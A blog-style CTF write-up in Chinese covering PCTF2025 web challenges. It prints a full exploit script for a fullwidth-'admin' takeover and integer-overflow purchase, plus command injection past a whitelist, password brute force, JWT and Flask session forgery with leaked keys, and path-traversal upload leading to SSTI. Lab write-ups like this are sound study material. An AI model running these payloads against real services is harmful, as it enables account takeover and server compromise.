PCTF2025(web后半部分)

PCTF2025(web后半部分)

神秘商店

打开题目只有一个登录框

登录admin

利用全角来注册登录

后端代码有转换,全角能够绕过后端对admin的检测,然后把全角admin识别成正常的admin,造成覆盖注册,修改admin密码

注册admin,其中n为全角

利用整数溢出4294967246到50,购买flag

可以直接脚本登录

import requests def exploit(): url = "http://challenge2.pctf.top:32735" session = requests.Session() print("[+] 注册管理员账户...") users = { "username": "admin", "password": "123456" } response = session.post(f"{url}/register", data=users) print(f"[+] 注册响应: {response.status_code}") print("[+] 登录...") users = { "username": "admin", "password": "123456" } response = session.post(f"{url}/login", data=users) print(f"[+] 登录响应: {response.status_code}") response = session.get(f"{url}/user") print(f"[+] 用户信息:{response.text}") print("[+] 触发rust整数溢出...") amount = {"amount": 4294967246} response = session.post(f"{url}/add_balance", data=amount) print(f"[+] 增加余额: {response.text}") print("[+] 购买Flag...") product = {"product_id": 4} response = session.post(f"{url}/buy_product", json=product) print(f"[+] 购买结果: {response.text}") if __name__ == '__main__': exploit() 

php特性

We_will_rockyou

下载源码,进行分析

''' Item: Safety Linux Server Panel Time: 2025-10-24 Author: 1ceLAND ''' from flask import Flask, redirect, url_for, render_template, request import jwt import uuid import os import subprocess from werkzeug.security import generate_password_hash, check_password_hash app = Flask(__name__) app.config['SECRET_KEY'] = str(uuid.uuid4()) # instead of sqlite accounts = {} def create_token(user_id, username): payload = { 'user_id': user_id, 'username': username } token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256') if isinstance(token, bytes): token = token.decode('utf-8') return token def verify_token(token): try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) user_id = payload['user_id'] username = payload['username'] return user_id, username except: return None def login_required(f): from functools import wraps @wraps(f) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return redirect(url_for('login')) res = verify_token(token) if not res: return redirect(url_for('login')) user_id, username = res return f(user_id, username, *args, **kwargs) return decorated def check_login(u, p): for user_id, info in accounts.items(): if info['username'] == u: return check_password_hash(info['password'], p), user_id return False, None @app.route('/') def index(): return redirect(url_for('login')) @app.route('/login', methods=['GET', 'POST']) def login(): error_msg = None if request.method == 'POST': username = request.form['username'] password = request.form['password'] ok, user_id = check_login(username, password) if ok: token = create_token(user_id, username) response = redirect(url_for('dashboard')) response.set_cookie('token', token, httponly=True) return response else: error_msg = "Username or Password incorrect!" return render_template('login.html', error_msg=error_msg) @app.route('/logout') def logout(): response = redirect(url_for('login')) response.delete_cookie('token') return response @app.route('/dashboard') @login_required def dashboard(user_id, username): return render_template('dashboard.html', user_id=user_id, username=username) import subprocess SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more'] @app.route('/dashboard/run', methods=['POST']) @login_required def run_command(user_id, username): user_id, username = verify_token(request.cookies.get('token')) cmd = request.form.get('command', '').strip() if not cmd or cmd.split()[0] not in SAFE_COMMANDS: return render_template('dashboard.html', user_id=user_id, username=username, error_msg="Error: Command not allowed or empty") try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5) output = result.stdout + result.stderr return render_template('dashboard.html', user_id=user_id, username=username, output=output, command=cmd) except Exception as e: return render_template('dashboard.html', username=username, error_msg=f"Error: {str(e)}") if __name__ == '__main__': admin_id = 0 admin_username = 'admin123' admin_password = str(uuid.uuid4()) # password overlay for path in ['/password', './password.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() if not raw: continue text = raw.decode('utf-8', errors='replace').strip() candidates = [line.strip() for line in text.splitlines() if line.strip()] if candidates: import secrets admin_password = secrets.choice(candidates) break except: pass print(f' * Admin password: {admin_password}') accounts[admin_id] = { 'username': admin_username, 'password': generate_password_hash(admin_password) } app.run(debug=False, host='0.0.0.0')

基础配置与初始化

from flask import Flask, redirect, url_for, render_template, request import jwt import uuid import os import subprocess from werkzeug.security import generate_password_hash, check_password_hash app = Flask(__name__) # 每次重启服务器时,SECRET_KEY 都会随机生成,这意味着服务器重启后所有旧 Token 都会失效。 app.config['SECRET_KEY'] = str(uuid.uuid4()) # 内存数据库:用户信息存储在字典中,服务器重启则数据清空。 accounts = {}

认证逻辑 (JWT)

这部分负责用户登录状态的维持。

def create_token(user_id, username): payload = { 'user_id': user_id, 'username': username } # 使用 HS256 算法加密生成 JWT token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256') if isinstance(token, bytes): # 兼容旧版本 PyJWT token = token.decode('utf-8') return token def verify_token(token): try: # 解码并验证签名。由于使用了随机 UUID 作为 KEY,安全性在运行时还可以,但无法持久化。 payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) return payload['user_id'], payload['username'] except: return None
def login_required(f): from functools import wraps @wraps(f) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return redirect(url_for('login')) res = verify_token(token) if not res: return redirect(url_for('login')) user_id, username = res # 将解析出的用户信息注入到被装饰的路由函数中 return f(user_id, username, *args, **kwargs) return decorated def check_login(u, p): # 遍历内存中的账户字典,比对哈希后的密码 for user_id, info in accounts.items(): if info['username'] == u: return check_password_hash(info['password'], p), user_id return False, None

路由处理 (登录/登出)

@app.route('/login', methods=['GET', 'POST']) def login(): # ... 略 ... if ok: token = create_token(user_id, username) response = redirect(url_for('dashboard')) # 设置了 httponly=True,一定程度上防范了 XSS 攻击窃取 Cookie response.set_cookie('token', token, httponly=True) return response # ... 略 ...

命令执行逻辑

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more'] @app.route('/dashboard/run', methods=['POST']) @login_required def run_command(user_id, username): cmd = request.form.get('command', '').strip() # 检查机制:只判断命令行的第一个单词是否在白名单内 if not cmd or cmd.split()[0] not in SAFE_COMMANDS: return ... # 报错 try: # 风险点:shell=True。虽然开头是 ls,但可以利用 shell 拼接符。 # 例如输入: "ls ; cat /etc/passwd" # 这里的白名单检查只看到了 "ls",符合要求,但 shell 会执行后面的 cat 命令。 result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5) output = result.stdout + result.stderr # ... 返回结果 ...

启动逻辑与管理员密码初始化

if __name__ == '__main__': admin_id = 0 admin_username = 'admin123' # 默认随机生成一个 UUID 密码 admin_password = str(uuid.uuid4()) # 密码覆盖机制:尝试从系统文件读取密码 for path in ['/password', './password.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() # ... 解码并从文件行中随机选一个作为 admin 密码 ... # 这意味着如果能控制这两个文件之一,就能预设管理员密码。 break except: pass # 启动时会在控制台打印管理员密码(用于初次运行查看) print(f' * Admin password: {admin_password}') accounts[admin_id] = { 'username': admin_username, 'password': generate_password_hash(admin_password) } app.run(debug=False, host='0.0.0.0')

admin用户名不变一直为admin123

jwt密钥是随机生成的,可是这里审计发现admin密码虽然一开始是随机生成的,但是后面从一 个txt文本中随机抽取并覆盖了admin密码,这里考察点应该是用字典中的密码爆破

题目描述提示Try rockyou.txt!,则使用rockyou字典爆破密码,用户名是admin123

barbie

ls /

查看的方法有很多,过滤的waf也不行

信息收集,密码爆破,命令执行

Jwt_password_manager

from flask import Flask, request, redirect, url_for, render_template import jwt import uuid import os from werkzeug.security import generate_password_hash, check_password_hash app = Flask(__name__) # 关键安全点:JWT 签名使用的密钥。如果泄露,任何人都可以伪造 token app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648' accounts_usernames = [] # 存储所有注册的用户名 accounts = {} # 存储用户名及其对应的密码哈希值 {username: hash} user_passwords = {} # 存储每个用户的密码项 {username: [item1, item2, ...]} def check_username(new_username): if new_username in accounts_usernames: return True return False def check_login(username, password): if username not in accounts: return False return check_password_hash(accounts[username], password) def insert_account(new_username, new_password_hash): try: accounts_usernames.append(new_username) accounts[new_username] = new_password_hash user_passwords[new_username] = [] return True except: return False check_username(new_username): 检查用户名是否已被占用。 check_login(username, password): 使用 check_password_hash 验证用户输入的明文密码与存储的哈希值是否匹配。 insert_account(new_username, new_password_hash): 初始化新用户,在内存中为其开辟空间。 def create_token(username): # create jwt payload = { 'username': username, } token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256') if isinstance(token, bytes): token = token.decode('utf-8') return token def verify_token(token): try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) return payload['username'] except: return None def login_required(f): def decorated(*args, **kwargs): token = request.cookies.get('token') if not token or not verify_token(token): return redirect(url_for('login')) return f(*args, **kwargs) decorated.__name__ = f.__name__ return decorated def add_password_item(username, website, site_username, password,): try: password_item = { 'id': str(uuid.uuid4()), 'website': website, 'username': site_username, 'password': password, 'notes': notes, } user_passwords[username].append(password_item) return True except: return False def delete_password_item(username, item_id): # delete ... try: user_passwords[username] = [item for item in user_passwords[username] if item['id'] != item_id] return True except: return False def get_user_passwords(username): # get all password_item of someone ... return user_passwords.get(username, []) @app.route('/') def index(): return redirect(url_for('login')) @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user_exists = check_username(username) if user_exists: return render_template('register.html', error_msg="User Already Existed!") password_hash = generate_password_hash(password) insert_account(username, password_hash) return redirect(url_for('login')) return render_template('register.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user_exists = check_username(username) if user_exists == False: return render_template('login.html', error_msg='Username or Password Wrong!') if check_login(username, password): token = create_token(username) response = redirect(url_for('dashboard')) response.set_cookie('token', token, httponly=True) return response else: return render_template('login.html', error_msg='Username or Password Wrong!') return render_template('login.html') @app.route('/logout') def logout(): response = redirect(url_for('login')) response.delete_cookie('token') return response @app.route('/dashboard') @login_required def dashboard(): username = verify_token(request.cookies.get('token')) passwords = get_user_passwords(username) return render_template('dashboard.html', username=username, passwords=passwords) @app.route('/add_password', methods=['POST']) @login_required def add_password(): username = verify_token(request.cookies.get('token')) website = request.form['website'] site_username = request.form['site_username'] password = request.form['password'] notes = request.form.get('notes', '') if add_password_item(username, website, site_username, password, notes): return redirect(url_for('dashboard')) else: return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Add password error") @app.route('/delete_password/<item_id>') @login_required def delete_password(item_id): username = verify_token(request.cookies.get('token')) if delete_password_item(username, item_id): return redirect(url_for('dashboard')) else: return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Delete password error") if __name__ == '__main__': # 1. 自动创建一个 admin 账号,密码是随机生成的 UUID admin_password = str(uuid.uuid4()) insert_account('admin', generate_password_hash(admin_password)) # 2. 模拟 CTF 环境:读取服务器本地的 flag.txt 文件 for path in ['/flag', './flag.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() if raw: content = raw.decode('utf-8', errors='replace').strip() # 3. 将读取到的 flag 作为一条密码存入 admin 账号中 add_password_item('admin', website='seeded-flag', ..., password=content) break except: pass app.run(debug=False, host='0.0.0.0')

下载附件审计代码,发现泄露的jwt密钥,查看逻辑发现,他读取了flag,flag是admin的password

app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'

admin_password = str(uuid.uuid4()) insert_account('admin', generate_password_hash(admin_password)) # flag in admin account ! ^-^ for path in ['/flag', './flag.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() if raw: content = raw.decode('utf-8', errors='replace').strip() add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content, notes=f'seeded from {path}') break except: pass

那么我们就开始,先注册一个账号拿到普通的token,然后去jwt.io解密jwt然后修改成admin然后伪造后得到flag

伪造后admin的token为

然后修改为admin的token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo

保存密码获取flag

JWT伪造

ez_upload

这里打开文件,上传任何文件都查看不了,尝试直接读取/etc/passwd但是被过滤了,查看源码

import os import uuid from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify from werkzeug.exceptions import RequestEntityTooLarge app = Flask(__name__) app.secret_key = 'your_secret_key_here' UPLOAD_FOLDER = 'uploads' MAX_FILE_SIZE = 16 * 1024 * 1024 ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'} BLACKLIST_KEYWORDS = [ 'env', '.env', 'environment', 'profile', 'bashrc', 'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag' ] app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/') def index(): try: with open('templates/index.html', 'r', encoding='utf-8') as f: template_content = f.read() return render_template_string(template_content) except FileNotFoundError: try: with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f: return f.read() except: return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>' except Exception as e: try: with open('templates/error_render.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, error_message=str(e)) except: return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>' @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('没有选择文件') return redirect(request.url) file = request.files['file'] if file.filename == '': flash('没有选择文件') return redirect(request.url) if file and allowed_file(file.filename): filename = file.filename filename = filename.replace('../', '') file_path = os.path.join(UPLOAD_FOLDER, filename) try: file.save(file_path) flash('文件 {} 上传成功!'.format(filename)) return redirect('/upload') except Exception as e: flash('文件上传失败: {}'.format(str(e))) return redirect(request.url) else: flash('不允许的文件类型') return redirect(request.url) try: with open('templates/upload.html', 'r', encoding='utf-8') as f: template_content = f.read() return render_template_string(template_content) except FileNotFoundError: try: with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f: return f.read() except: return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>' @app.route('/file') def view_file(): file_path = request.args.get('file', '') if not file_path: try: with open('templates/file_no_param.html', 'r', encoding='utf-8') as f: return f.read() except: return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>' file_path_lower = file_path.lower() for keyword in BLACKLIST_KEYWORDS: if keyword in file_path_lower: try: with open('templates/file_error.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, file_path=file_path, error_message='访问被拒绝:文件路径包含敏感关键词 [{}]'.format(keyword)) except: return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>' try: with open(file_path, 'r', encoding='utf-8') as f: file_content = f.read() try: with open('templates/file_view.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, file_path=file_path, file_content=file_content) except: return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content) except Exception as e: try: with open('templates/file_error.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, file_path=file_path, error_message=str(e)) except: return '<h1>文件读取失败</h1><p>错误: {}</p><a href="/">返回主页</a>'.format(str(e)) @app.errorhandler(RequestEntityTooLarge) def too_large(e): try: with open('templates/error_too_large.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413 except: return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413 @app.errorhandler(404) def not_found(e): try: with open('templates/error_404.html', 'r', encoding='utf-8') as f: return f.read(), 404 except: return '<h1>404</h1><p>页面不存在</p>', 404 @app.errorhandler(500) def server_error(e): try: with open('templates/error_500.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, error_message=str(e)), 500 except: return '<h1>500</h1><p>服务器内部错误: {}</p>'.format(str(e)), 500 if __name__ == '__main__': print("启动Flask文件上传应用...") print("上传目录: {}".format(UPLOAD_FOLDER)) print("最大文件大小: {} MB".format(MAX_FILE_SIZE // (1024*1024))) print("允许的文件类型: {}".format(ALLOWED_EXTENSIONS)) app.run(debug=False, host='0.0.0.0', port=5000)
@app.route('/file') def view_file(): file_path = request.args.get('file', '') # 从 URL 参数 ?file= 获取路径 if not file_path: # ... (逻辑省略) # [黑名单防御] file_path_lower = file_path.lower() for keyword in BLACKLIST_KEYWORDS: if keyword in file_path_lower: # 如果命中黑名单,渲染错误信息 return render_template_string(template, error_message='...{}'.format(keyword)) try: with open(file_path, 'r', encoding='utf-8') as f: # [高危] 直接打开用户指定的路径 file_content = f.read() # [SSTI 漏洞] # file_content 是用户上传的文件内容 # 如果用户上传一个包含 {{ 7*7 }} 的文件并在此查看,Flask 会执行其中的模板代码 return render_template_string(template, file_path=file_path, file_content=file_content) except Exception as e: # ... (错误处理)

render_template_string渲染了html页面内容,则可以实现覆盖index.html在里面实现ssti绕过上传限制....//templates/index.html

成功读取

SSTI,信息收集

Do_you_know_session?

看到题目到处试了试ssti,发现在搜索框中可以进行ssti

/search?context=

但是有waf,只能看到config,刚好secretkey就存在这里,我们直接就可以获取到

1919810#mistyovo@foxdog@lzz0403#114514

然后我们看到我们有session,用flask-session-cookie-manager

读取environ得到flag

session伪造

Read more

CVPR 2026 Oral实测|YOLO-DRONE:无人机低空巡检的“性能天花板”,小目标召回率狂升39%(清华团队力作,电力部署实操全解析)

CVPR 2026 Oral实测|YOLO-DRONE:无人机低空巡检的“性能天花板”,小目标召回率狂升39%(清华团队力作,电力部署实操全解析)

前言:作为长期深耕无人机计算机视觉落地的算法工程师,我始终认为,无人机低空巡检场景的核心痛点,从来不是“模型精度多高”,而是“能否适配复杂飞行工况下的实战需求”。无论是电力巡检中的导线断股、绝缘子破损,还是安防巡检中的人员遗留、设备异常,这些目标往往尺寸极小、飞行过程中受风速扰动导致画面模糊、目标尺度动态变化,传统YOLO系列模型要么小目标漏检严重,要么抗扰动能力弱,要么实时性不足,根本无法满足工业级巡检的落地要求。 2026年CVPR大会上,清华大学团队提出的YOLO-DRONE模型惊艳全场,成功入选Oral(口头报告),成为低空巡检领域唯一入选的单阶段检测模型。这款专为无人机低空巡检设计的多尺度动态感知模型,创新性融合自适应尺度感知头(ASPH)与风速补偿特征对齐模块,彻底解决了传统模型“小目标漏检、抗扰动差、实时性不足”三大痛点——在UAV-DT无人机巡检专用数据集上,小目标召回率直接提升39%,同时支持1080p@45FPS实时处理,目前已正式部署于国内某省级电力巡检系统,实现输电线路的自动化巡检落地。 我第一时间获取了YOLO-DRONE的技术论文及开源代码,搭建了模拟无

智能客服对话机器人设计全流程:从架构设计到生产环境部署

最近在做一个智能客服项目,从零开始搭建一个能实际处理用户问题的对话机器人,踩了不少坑,也积累了一些经验。今天就来聊聊从架构设计到最终部署上线的全流程,希望能给有类似需求的开发者一些参考。 1. 背景与痛点:为什么需要智能客服? 传统的客服系统,无论是电话热线还是在线聊天,主要依赖人工坐席。这种方式有几个明显的痛点: * 人力成本高:7x24小时服务需要三班倒,人力成本巨大。 * 响应速度慢:高峰期排队严重,用户体验差。 * 服务质量不稳定:不同客服的业务熟练度和服务态度参差不齐。 * 知识难以沉淀:优秀的客服经验很难系统化地传承和复用。 而早期的“智能”客服,很多是基于关键词匹配的规则引擎。比如用户说“我要退款”,系统就回复一个预设的退款流程链接。这种方案的局限性非常大: * 理解能力弱:无法处理同义词、口语化表达和上下文关联。用户说“钱怎么退”和“我要退款”,在规则引擎里可能就是两条完全不同的规则。 * 维护成本高:业务规则一变,就需要人工添加大量新规则,容易产生规则冲突。 * 毫无灵活性:对话僵硬,无法进行多轮交互,用户体验像在和“人工智障”聊天。 正是这

OpenClaw龙虾机器人实战:基于Rust+Tauri构建带“安全沙箱”的跨平台清理Skill

摘要: 当 AI 走出聊天框,拿起系统的“ root 权限”,它是你的“数字管家”还是潜伏的“特洛伊木马”?2026年初,由 Peter Steinberger 打造的 OpenClaw(龙虾机器人) 横扫全球开源社区,GitHub 星标数迅速突破 18 万。它不再是单纯的 Chatbot,而是能通过 WhatsApp、Telegram 直接操控你电脑的执行型智能体。 然而,权力的下放伴随着巨大的风险——Meta 高管因授权 OpenClaw 访问邮箱而导致收件箱被批量清空的惨案犹在眼前。本文将基于 OpenClaw 架构,使用 Rust + Tauri 技术栈,开发一款跨平台临时文件清理 Skill。我们将重点解决两大核心难题: 1. 系统级深度操作:如何用 Rust 优雅地调用

【花雕学编程】Arduino BLDC 驱动方案 —— MimiClaw(迷你小龙虾)+ ESP32 嵌入式组合机器人

【花雕学编程】Arduino BLDC 驱动方案 —— MimiClaw(迷你小龙虾)+ ESP32 嵌入式组合机器人

这是一套面向无刷电机(BLDC)、高度集成、可快速开发、支持本地智能的机器人开发组合。它将 ESP32 高性能主控 + MimiClaw 智能控制框架 + Arduino 生态易用性 + BLDC 无刷电机驱动 融为一体,是目前创客、实验室、竞赛、小型机器人领域最实用、最稳定、性价比极高的嵌入式机器人方案。 一、核心定义(专业版一句话解释) MimiClaw(迷你小龙虾)+ ESP32是一套基于 Arduino 开发环境、面向 BLDC 无刷电机控制、支持本地智能决策的嵌入式机器人控制系统。它以 ESP32 为硬件核心,以 MimiClaw 为控制大脑,实现无刷电机驱动、传感器融合、自主决策、无线通信、多关节机器人控制一体化。 简单说:ESP32 = 身体与算力MimiClaw = 思考与逻辑BLDC 无刷驱动 = 动力系统Arduino